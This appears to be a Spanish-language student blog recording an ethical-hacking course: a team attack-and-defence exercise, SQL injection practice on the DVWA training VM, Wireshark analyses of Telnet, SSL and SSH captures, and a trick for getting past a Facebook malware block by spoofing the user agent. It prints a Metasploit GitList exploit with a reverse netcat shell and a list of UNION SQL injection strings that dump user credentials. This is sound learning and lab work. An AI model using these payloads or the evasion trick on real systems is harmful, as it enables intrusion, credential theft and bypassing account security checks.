Informático llanero

Estándar

Estando un tiempo inactivo sin publicar, informo que las razones es porque nos mudamos a un nuevo sitio web, que les invito a visitar: www.informaticollanero.com.ve

Nace por la creciente necesidad de un servicio profesional de tecnología a nivel básico, medio y avanzado en la región llanera, brindando un servicio de alta calidad a quien lo requiera, tanto a usuarios corporativos como a usuarios domésticos, manteniendo como premisa fundamental la atención al cliente, ofreciendo precios competitivos y garantías en todas nuestras soluciones.

Por allí estaremos diferentes temas del área de seguridad informática, hacking ético, forense, pentesting, cursos, talleres, eventos, actividades, noticias de interés y mas.

También pueden unirse en el grupo de Telegram @InformaticoLlanero

Hacking Ético – #moocHackingMU

Estándar

Durante todo el día estuve pensando en como dar inicio a esta entrada que da como conclusión al curso de Hacking Ético, como estuvimos viendo en las entradas anteriores #moocHackingMU ahora debo decir que entiendo el sentimiento que un pentester vive en la fase final que es la entrega del informe final, tanto para el Equipo Técnico como para el área administrativa o de gerencia, y confieso que es la parte mas difícil de todo!

Antes de continuar la lectura es necesario que leas las entradas anteriores.

Unidad 1

  1. https://blvdc.wordpress.com/2016/09/13/tarea-1-herramientas-basicas-para-obtener-informacion-de-servidores-externos/
  2. https://blvdc.wordpress.com/2016/09/13/tarea-2-busqueda-y-puesta-en-comun-de-recursos/
  3. https://blvdc.wordpress.com/2016/09/13/tarea-3-una-sencilla-practica-sobre-criptografia/

En resumen de la unidad 1, aprendimos sobre las herramientas básicas para obtener información sobre nuestro objetivo, utilizando un escanear de puertos (nmap), y realizamos un whois, realizamos también una practica sobre criptografía.

Unidad 2

  1. https://blvdc.wordpress.com/2016/09/20/tarea-1-capturando-trafico-con-wireshark/
  2. https://blvdc.wordpress.com/2016/09/21/tarea-2-sql-injection/

La unidad 2, realizamos el análisis de una captura realizada con anterioridad y realizamos prueba de sql injection en una maquina virtual realizada por el equipo.

También resolvimos un enigma, el cual les dejo el siguiente vídeo realizado por mi con la solución de como lo resolvimos: Usa la fuerza, Luke 

Bien, ahora un resumen de todo lo que hicimos como equipo.

Se creó
> Grupo en facebook.
> Grupo en whatsapp.
> Correo electronico grupal.
> Index principal y secundario.
> Scripts para explotar vulnerabilidades de GitList.

Se configuro:
> PHP.
> ICMP.
> VSFTP.
> Apache.
> fail2ban.
> LogWatch.

Herramientas de ataque:
> Metasploit.
> Nmap & Zenmap
> Se realizó un escaneo con Nessus.
> Hydra hacia nuestro servidor y hacia servidores de los oponentes.
> Lynis se realizó una auditoría y un debug del servidor con la herramienta.

Otros
Se actualizó CACTI.
Se cambio usuario y password de MySQL.
Se instaló el módulo evasion de Apache.
Se cambio contraseña y usuario de CACTI.
Se cambio el puerto y la contraseña de SSH.
Se cambio el usuario y la contraseña de FTP.
Se buscaron y documentaron las vulnerabilidades del servidor.
Se localizaron los archivos a proteger y se cambiaron sus permisos.
Se documentó absolutamente todo, tanto de la semana de Defensa como la de Ataque.
Se definió el conjunto de todos los mails de los integrantes del grupo para recibir sus actualizaciones.

Se intentó actualizar GitList en varias ocasiones (no se consiguió de manera satisfactoria, aunque sí se lo tuvo bajo la lupa durante todo el proceso).

Mi función dentro del equipo? Pues al final termine siendo algo así como ni se, pero quien llevaba la delantera o algo así, resulta que el grupo se armo por un usuario de nick Nano, quien realizo una publicación en facebook , armando un equipo, yo acepte la invitación y resulta que este usuario ya había participado en la primera edición, lo cual nos daba una gran ventaja, empezamos a buscar el resto de usuario y completamos rápidamente el equipo, sin embargo fue publicado un vídeo en youtube, donde se mostraba a Nano como un fraude, lo cual todos decidimos reunirnos y discutir que hacer, ya que Nano era el líder del grupo….

Todos decidimos al final continuar pero sin Nano, no se como? No se porque? Pero termine siendo no el líder, si no como el representante del grupo, realmente debo agradecer a todos por su confianza, por el apoyo, aunque mi conocimiento en el área es muy básica, lo que mantuvo siempre en posición de aprendizaje respecto al resto de usuarios del equipo.

Aunque si menciono que pude dar mi granito de arena, con el index principal, y con la obtención de varios archivos usando metasploit, mencionando que fui el único que aprovecho una vulnerabilidad y el resto pudo pero usando un xploit diferente al mio, logramos subir una shell y bueno lograr nuestro objetivo, como? en resumen:

use exploit/linux/http/gitlist_exec
set payload cmd/unix/reverse_netcat
set targeturi /gitlist/
set RHOST $ipremota
set LHOST $iplocal
run

Y ya! Con eso logramos acceso a varios servidores. Debo mencionar que en los servidores que obtuvimos los 3 archivos, les dejamos un index de regalo como evidencia que estuvimos allí y que logramos el objetivo.

El código del index, lo pueden chequear en: http://filebin.ca/2xOHiNMpmROV/index.html sin embargo otros grupos nos quitaron el index, se copiaron de nuestra firma xD

Que otra cosa puedo mencionar? Este proceso de la documentación no es mi fuerte jejeje, sin embargo si aprendí bastante, compartí con  varios usuarios dispuesto a no dormir solo para lograr un objetivo.

Desde el momento que empecé al curso, he aprendido mucho mas de lo que imagine, ahora utilizo como sistema operativo Kali linux, con herramientas como Tor, Pidgin, XMPP, OTR, Enigmail, con nuevo grupo de amigos y sigo investigando en el tema, pues realmente es muy interesante este mundo de la Seguridad Informática.

Facebook bloqueado por malware

Estándar

A los que viene siguiendo el blog, se habrán dado cuenta que recién me ando interesando en los temas de seguridad informática, lo que me ha llevado a probar incluso instalar Debian 8, utilizar Tor, Proxychains, Pidgin + OTR y muchos otras herramientas y configuraciones como el Sistema Operativo Kali Linux y Tails.

Todo esto llevado al tema de seguridad y pruebas de anonimato, he leído y aprendido un poco de este tema, aunque me falta mucho pues es un mundo nuevo por descubrir y conocer, debo recomendar uno de los sitios que he seguido y leído el cual es: creadpag.wordpress.com

Ahora en vista a todas estas pruebas de anonimato, cambio de IP, de MAC, uso de Tor de Proxys, navegación privada, uso de NoScript, bloqueo de cookies y mas pues me pongo a ingresar a facebook, y he sufrido muchas alertas por parte de facebook, lo cual me ha llevado a tener que verificar mi identidad, me bloquearon el acceso, muchas notificaciones al correo, comprobar mis amigos de facebook, y tantas otras cosas, pero a lo ultimo es que tengo mi facebook bloqueado porque según facebook tengo malware en mi DEBIAN 8 y ando realizando spam en la red social xD

malwares

Debo mencionar que esto es completamente falso, es un error que me muestra en vista a la conexión, dirección ip y navegador que utilizo, pueden chequear en la parte superior que mi ip y ubicación no son las reales.

Buscando información sobre como saltar este bloqueo, las únicas recomendaciones que he encontrado es instalar Windows en una maquina virtual, descargar el programa que indican, analizar y listo, PERO, realmente no les voy a dar el placer de instalar su aplicación, ni nada al respecto, en la búsqueda logre otra solución.

Para Firefox ESR -> Iceweasel existe un completamente llamado: User-Agent Switcher el cual permite seleccionar un navegador y sistema operativo diferente por el cual realmente estamos navegando, y es una muy buena opción de seguridad.

user-agent-switcher

En verde esta seleccionado el navegador y sistema por el cual indico que ando navegando, osea Chrome + Windows sin embargo la realidad es que ando con Iceweasel + Debian.

En rojo pueden observar que podemos seleccionar sistemas operativos de telefonía móvil, como  iPhone, Android, Windows Phone, Samsung, Nokia o hasta Firefox OS, sencillo, seleccionamos cualquiera de ellos y entramos a facebook en su versión móvil.

faceboon-movil

Excelente, entonces hasta el momento lo que se ha realizado es:

1 – Acceder a facebook utilizar Tor + Proxychains.

2 – Fuimos bloqueados por malware

3 – Instalamos el completo de Iceweasel: User-Agent Switcher

4 – Seleccionamos en el complemento un sistema operativo móvil

5 – Actualizamos facebook y nos saltamos el bloqueo

6 – Navegamos en la versión movil de facebook: m.facebook.com

Pero cual es la magia?

Pueden decir que solo ingresar en m.facebook.com sin instalar el complemento pueden saltar el aviso, sin embargo no es así, pues también lo intente y facebook me bloqueaba xD

fb-m

Aplicando el complemento, nos manda directo al sitio movil de facebook y de esa forma nos saltamos su bloqueo, luego de saltar el bloqueo e ingresar a su versión movil solo tenemos que borrar la M (m.facebook.com) de la dirección web y al actualizarse la pagina, y podremos navegar sin problema.

Espero les guste la entrada y no tengan que andan virtualizando Windows e instalando la aplicación de facebook en su computador.

TAREA 2: SQL injection

Estándar

En esta tarea numero 2, de la unidad 2, vamos a usar la técnica SQL injection para obtener información relevante sobre la estructura de una base de datos. En concreto, vamos a obtener información de usuarios de un servidor (nombre de usuario, hash de la contraseña) a partir de un ataque de SQL injection.

La herramienta que vamos a utilizar es Virtualbox, el cual ya tenia instalado para realizar pruebas de sistemas y otras cosas, lo siguiente que vamos a utilizar es una máquina virtual realizada especialmente para el curso, la cual pesa 380MB y esta en formato 7-Zip, que podemos descargar a través del siguiente enlace: dvwa7z

Al descargar, vamos a tener 3 archivos que abriremos de acuerdo a nuestro SO.

dvwa-hack

En mi caso trabajo con el archivo: dvwa-linux.vbox, inicio la maquina y la primera pantalla que me aparece es la siguiente:

maquina-dvwa.png

Si observan la captura, me genera una dirección IP local, vamos a nuestro navegador e ingresamos esta dirección ip, lo cual nos va a llegar a la pantalla de login del DVWA.

login-dvwa.png

Los datos para los campos son: Username: admin – Password: password, luego de ingresar nos vamos a la opción de: DVWA Security y establecemos la seguridad a low presionando el botón de submit.

dvwa-security.png

Con eso ya estamos listo para pasar a la opción de SQL Injection y empezar a realizar nuestras practicas, en la tarea 2, nos dice que debemos seguir las indicaciones de los apartados 7, 8 y 9 de ESTE ARTÍCULO. Pues ingresamos al artículo y seguimos su guía, la cual nos muestra una serie de ejecuciones que vamos a probar para acceder a los datos de la base de datos, el usuario, la versión, las tablas y datos que contiene la misma, estas consultas las listo en orden de ejecución.

  • 1
  • %' or '0'='0
  • %' or 0=0 union select null, version() #
  • %' or 0=0 union select null, user() #
  • %' or 0=0 union select null, database() #
  • %' and 1=0 union select null, table_name from information_schema.tables #
  • %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
  • %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
  • %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

Ya con eso, tenemos los datos de la base de datos y password, la contraseña esta cifrada, podemos utilizar la herramienta John the Ripper para descifrar el password.

Procedemos una vez realizada la tarea, apagar la máquina virtual haciendo login mediante el nombre de usuario apagar y listo con esto termina la tarea 2 de la unidad 2.

Analizando SSH

Estándar

Unidad 2 – Tarea 1
Analizando SSH

ssh-icon-16

Para empezar debo mencionar que estoy muy impresionado por la seguridad que tiene el protocolo SSH a diferencia de Telnet, siguiendo con las tareas de análisis, ya sabemos que debemos descargar el archivo ssh y analizarlo con wireshark.

Las preguntas que se van a responder son:

  • ¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?
  • ¿Qué protocolos viajan cifrados, todos (IP, TCP…) o alguno en particular?
  • ¿Es posible ver alguna información de usuario como contraseñas de acceso?

La captura de pantalla principal al cargar el archivo, tenemos:

ssh

En Filter, como en las entradas anteriores establecemos: SSH y de esa forma podemos responder la pregunta: ¿Puedes ver a partir de qué paquete comienza el tráfico cifrado? y esto empieza a ocurrir desde el Frame 13 hasta el Frame 95.

Ahora la segunda pregunta nos indica ¿Qué protocolos viajan cifrados, todos (IP, TCP…) o alguno en particular? Mencionamos que solo el protocolo SSHv2 viaja cifrado, y el protocolo TCP viaja sin cifrar.

tcp-ssh.png

Y ya para responder la ultima pregunta: ¿Es posible ver alguna información de usuario como contraseñas de acceso? NO, en realidad no, podemos decir que SSH es un protocolo realmente seguro a la hora de realizar conexiones remotas.

Con esto terminamos la Tarea 1  de la Unidad 2.

 

 

Analizando SSL

Estándar

Unidad 2 – Tarea 1
Analizando SSL

certificado-ssl-barra-verde-en-sitios-web.jpg

SSL es un protocolo criptográfico que proporcionan comunicaciones seguras por una red que utilizan otros protocolos de aplicación como HTTP. Usa certificados digitales X.509 para asegurar la conexión.

Para su análisis, vamos a trabajar en Wireshark con el archivo x509-with-logo.cap

Debo mencionar que trabajar con SSL si fue un poco mas de fácil de investigar un poco mas, no fue tan sencillo como Telnet, en vista a que SSL envía la información cifrada, la primera pantalla obtenida es:

ssl.png

Lo primero observado es que solo tenemos 9 frames, recorremos por cada uno de ellos y no hay nada información salvo las palabras “Encrypted” por todos lados!

Un poco de Wikipedia: (Key Exchange) El intercambio de claves (también conocido como “establecimiento de clave“) es cualquier método en la criptografía por el que las claves de cifrado se intercambian entre dos partes, permitiendo el uso de un algoritmo criptográfico.

Las preguntas que debemos responder es:

  1. ¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?
  2. ¿El certificado va en claro o está cifrado?
  3. ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?
  4. ¿Qué asegura el certificado, la identidad del servidor o del cliente?

 ¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?

enviar-cer.png

En el frame 2, en la pestaña “Source” vemos la dirección IP: 65.54.179.198 y si hacemos Whois a esa dirección IP, descubrimos que es de la organización: Microsoft Corporation, por lo tanto, el usuario se comunica con el servidor en el frame 3, con su dirección IP local: 10.1.1.2 para (respuesta: frame 3) enviar el certificado al servidor y este en el frame 4 le da la respuesta.

whois-ip.png

¿El certificado va en claro o está cifrado?

El usuario recibe el certificado en claro, pues podemos ver los datos que recibe claramente.

certificado

En la ultima linea observamos: “algorithm (rsaEncryption)” y si investigamos un poco y tomamos de Wikipedia el concepto, descubrimos que en criptografía, RSA es un sistema criptográfico de clave pública desarrollado en 1977. Es el primer y más utilizado algoritmo de este tipo y es válido tanto para cifrar como para firmar digitalmente.

En resumen en el frame 2, el servidor se comunica con nosotros y nos envía su llave publica utilizando RSA, la cual recibimos y enviamos en el frame 3 cifrando la información con: “RSA Encrypted PreMaster Secret

RSA Encrypted PreMaster Secret: es un BLOB de licencia que contiene un número aleatorio de 48 bytes que se cifra utilizando RSA con la clave pública del servidor recuperado del certificado de servidor. Leer más.

frame3

Por ultimo en el frame 4, recibimos el mensaje de parte del servidor el mensaje cifrado utilizando Encrypted Handshake Message, de esa manera vemos un ejemplo de lo que aprendimos en la Tarea 3 de la Unidad en referencia a las llaves PGP, intercambio de llave publica y cifrado de mensaje.

¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?

Autoridad emisora:  www.verisign.com

verising

¿Qué asegura el certificado, la identidad del servidor o del cliente?

El certificado lo asegura la identidad del servidor, pues de esa forma podemos comprobar que el sitio donde estamos ingresando es el sitio correcto y no una suplantación para robar nuestras credenciales, hoy en día esta es una practica muy común y casi obligada  para empresas que manejan datos sensibles de los usuarios como entendidas bancarias, incluso podemos ver otros sitios con esta técnica como WordPress, como Facebook, Twitter y otros.

Observamos en las capturas 3 pantallas de conexiones seguras, verificado por diferentes empresas, debemos tener mucho cuidado de conectarnos a sitios donde nuestros datos se vean comprometidos y alertas al siguiente mensaje:

bancovenezuela-no-seguro

Nota: otra cosa es verificar la empresa que valida un certificado y ya con esto pasamos a:

Tercera parte: Analizando SSH

Analizando un protocolo inseguro – Telnet.

Estándar

Unidad 2 – Tarea 1
Primera parte: analizando un protocolo inseguro – Telnet.

WireShark-Logo.png

Iniciamos nuestra aplicación Wireshark y con la combinación de teclas Control + O abrimos el archivo telnet-raw.pcap (descargado en la entrada anterior), la primera pantalla sera algo como esto:

telnet-pcap

Luego en la opción: Filter escribimos Telnet y damos en Apply para ejecutar el filtro.

filtro-telnet

Con esto ya tenemos filtrado todo los paquetes de Telnet en nuestra aplicación, vamos a ir navegando por los frames e ir obteniendo la información que se transmite por este protocolo.

¡Frames!, ¿Como se come eso?

Desde el Frame 26, empezamos a ver información importante, por ejemplo vemos en este frame que la respuesta a la pregunta: ¿Qué sistema operativo corre en la máquina?, el cual el sistema es:  OpenBSD/i386 (oof) (ttyp1).

\r = retorno de carro (enter).
\n = nueva linea.

frame26

Tomando esto en cuenta seguimos navegando de forma descendiente sobre los frames, los cuales son 274 frames.

  • En el frame 28 se hace la solicitud para ingresar el usuario de login a telnet.
  • El el frame 56 se hace la solicitud para ingresar el password del usuario.
  • Desde el frame 38 a 50 se envía los datos del usuario.
  • Desde el frame 58 a 64 se envían los datos del password.

Ahora podemos responder la pregunta: ¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?

  • Usuario: fake
  • Password: user

Seguimos analizando y vemos que en el frame 7o, obtuvimos un acceso correcto por medio del protocolo telnet, en fecha 2 de diciembre en hora 21:32:59 en la terminal ttyp1 del sitio bam.zing.org.

acceso-login.png

En el frame 72, vemos un warning lo cual puede ser un fallo que se puede aprovechar: “Data: Warning: no Kerberos tickets issued.”, aunque buscando información de ello, dice que esto es debido a que solo se haciendo autenticación con kerberos.

frame72.png

En el frame 74 obtenemos el mensaje de bienvenida a la sesión de telnet.

bienvenida-telnet.png

Para el resto de frames, y poder responder la ultima pregunta: ¿Qué comandos se ejecutan en esta sesión? no vamos a ser tan específicos y detallistas, simplemente nos vamos a:

 

Menú de Wireshark > Analyse > Follow TCP Stream

Y obtenemos la siguiente pantalla:

tcp.png

Si nos damos cuenta muestra de forma mas detallada lo expuesto anteriormente, además vemos que después del mensaje de bienvenida el usuario listo los archivos: $ ls luego listo los archivos ocultos $ ls -a realizo un $ ping http://www.yahoo.com de los 13 paquetes enviados, solo 11 fueron recibidos, 15% de los paquetes perdidos.

Y al final realizo una salida de la sesión telnet con el comando: $ exit

Con eso publico esta entrada y pasamos a:

Segunda parte: analizando SSL.